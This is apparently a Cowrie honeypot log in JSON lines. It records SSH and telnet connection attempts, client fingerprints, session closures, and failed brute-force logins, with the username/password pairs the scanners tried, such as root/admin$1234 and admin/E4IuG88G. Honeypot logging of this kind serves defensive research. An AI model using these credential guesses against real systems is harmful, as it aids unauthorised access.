{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:22.270975Z","src_ip":"27.71.230.31","session":"88a9b95e4abc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:23.008461Z","src_ip":"141.11.88.14","session":"4345be1b1bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36728,"dst_ip":"159.203.135.109","dst_port":23,"session":"155428e4c2c7","protocol":"telnet","message":"New connection: 172.81.62.90:36728 (159.203.135.109:23) [session: 155428e4c2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:25.560147Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:26.691551Z","src_ip":"27.71.230.31","session":"88a9b95e4abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31136,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0efbae0f08c","protocol":"ssh","message":"New connection: 141.11.88.14:31136 (10.17.0.5:22) [session: b0efbae0f08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:27.951661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:27.956204Z","src_ip":"141.11.88.14","session":"b0efbae0f08c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:28.044564Z","src_ip":"141.11.88.14","session":"b0efbae0f08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$1234","message":"login attempt [root/admin$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:28.373888Z","src_ip":"27.71.230.31","session":"88a9b95e4abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telegram","password":"telegram","message":"login attempt [telegram/telegram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:29.609072Z","src_ip":"141.11.88.14","session":"b0efbae0f08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:30.514693Z","src_ip":"27.71.230.31","session":"88a9b95e4abc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:31.631863Z","src_ip":"141.11.88.14","session":"b0efbae0f08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.43113422393799,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:32.973869Z","src_ip":"172.81.62.90","session":"9163a3c43afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18058,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1dcdf4ca998","protocol":"ssh","message":"New connection: 141.11.88.14:18058 (10.17.0.5:22) [session: d1dcdf4ca998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:33.656863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:33.882179Z","src_ip":"141.11.88.14","session":"d1dcdf4ca998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:33.917516Z","src_ip":"141.11.88.14","session":"d1dcdf4ca998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"12345678","message":"login attempt [bot/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:34.606515Z","src_ip":"141.11.88.14","session":"d1dcdf4ca998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.775257349014282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:35.199183Z","src_ip":"168.138.45.219","session":"9f2a880bfe9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:35.707324Z","src_ip":"141.11.88.14","session":"d1dcdf4ca998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":13630,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d4094101683","protocol":"ssh","message":"New connection: 141.11.88.14:13630 (10.17.0.5:22) [session: 7d4094101683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:40.760004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:41.098341Z","src_ip":"141.11.88.14","session":"7d4094101683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:41.101939Z","src_ip":"141.11.88.14","session":"7d4094101683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:42.979325Z","src_ip":"141.11.88.14","session":"7d4094101683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:44.169524Z","src_ip":"141.11.88.14","session":"7d4094101683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60782,"dst_ip":"159.203.135.109","dst_port":23,"session":"97fadc18630b","protocol":"telnet","message":"New connection: 128.199.8.54:60782 (159.203.135.109:23) [session: 97fadc18630b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:48.078010Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":54926,"dst_ip":"159.203.135.109","dst_port":22,"session":"113258631851","protocol":"ssh","message":"New connection: 211.253.37.225:54926 (159.203.135.109:22) [session: 113258631851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:48.135063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:48.143628Z","src_ip":"211.253.37.225","session":"113258631851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:48.343699Z","src_ip":"211.253.37.225","session":"113258631851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"google","password":"123456","message":"login attempt [google/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.182337Z","src_ip":"211.253.37.225","session":"113258631851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":54828,"dst_ip":"10.17.0.5","dst_port":22,"session":"85f493d807e0","protocol":"ssh","message":"New connection: 141.11.88.14:54828 (10.17.0.5:22) [session: 85f493d807e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.276231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.318436Z","src_ip":"141.11.88.14","session":"85f493d807e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.387494Z","src_ip":"141.11.88.14","session":"85f493d807e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":36248,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cc183a0b25a","protocol":"ssh","message":"New connection: 103.143.231.24:36248 (10.17.0.5:22) [session: 9cc183a0b25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.595631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.600545Z","src_ip":"103.143.231.24","session":"9cc183a0b25a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.671038Z","src_ip":"103.143.231.24","session":"9cc183a0b25a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.870219Z","src_ip":"141.11.88.14","session":"85f493d807e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@root","message":"login attempt [root/123@root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:49.986678Z","src_ip":"103.143.231.24","session":"9cc183a0b25a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:50.405535Z","src_ip":"211.253.37.225","session":"113258631851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:50.978237Z","src_ip":"141.11.88.14","session":"85f493d807e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:51.062328Z","src_ip":"103.143.231.24","session":"9cc183a0b25a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.26816749572754,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:56.605446Z","src_ip":"172.81.62.90","session":"1ccbcd73e28e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37766,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a2ccc625348","protocol":"ssh","message":"New connection: 141.11.88.14:37766 (10.17.0.5:22) [session: 3a2ccc625348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:57.579957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:57.768193Z","src_ip":"141.11.88.14","session":"3a2ccc625348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:57.772378Z","src_ip":"141.11.88.14","session":"3a2ccc625348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123456","message":"login attempt [alex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:59.145180Z","src_ip":"141.11.88.14","session":"3a2ccc625348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:00.356097Z","src_ip":"141.11.88.14","session":"3a2ccc625348","protocol":"ssh"}
